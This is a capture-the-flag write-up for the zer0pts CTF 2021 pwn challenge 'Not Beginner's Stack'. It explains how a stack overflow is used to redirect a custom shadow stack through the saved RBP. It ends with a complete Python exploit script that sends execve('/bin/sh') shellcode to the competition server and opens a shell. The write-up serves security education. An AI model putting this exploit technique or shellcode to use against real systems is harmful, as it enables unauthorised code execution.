# Not Beginner's Stack - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`

## Challenge Overview
We're given a 64-bit ELF and its source code.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   24 Symbols     No       0               1       chall

The vulnerability is a simple stack buffer overflow.

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

However, the stack works in a special way.

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

The return address is saved in the bss section and we can't overwrite it simply by the overflow.

## Solution
What we abuse is the saved RBP.
After `vuln` function ends, RBP is used for calculating the address of `buf`.

;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

We can modify the address as we change the value of RBP.
Controlling the RBP, we can write to wherever place by the next `read` call. Since PIE is disabled, we can overwrite the shadow stack to control RIP.

NX is also disabled, which enables us to jump to the shellcode directly.

## Exploit

from ptrlib import *

elf = ELF("../distfiles/chall")
sock = Socket("pwn.ctf.zer0pts.com", 9011)

# overwrite saved rbp
payload  = b"A" * 0x100
payload += p64(elf.symbol("__stack_shadow") + 0x100)
sock.sendafter("Data: ", payload)

# overwrite shadow stack
payload  = p64(elf.symbol("__stack_shadow") + 0x80) * (0x80 // 8)
payload += nasm("""
shellcode:
  call arg1
  db '/bin/sh', 0
arg1:
  xor edx, edx
  xor esi, esi
  pop rdi
  mov eax, 59
  syscall
""", bits=64)
sock.sendafter("Data: ", payload)

sock.interactive()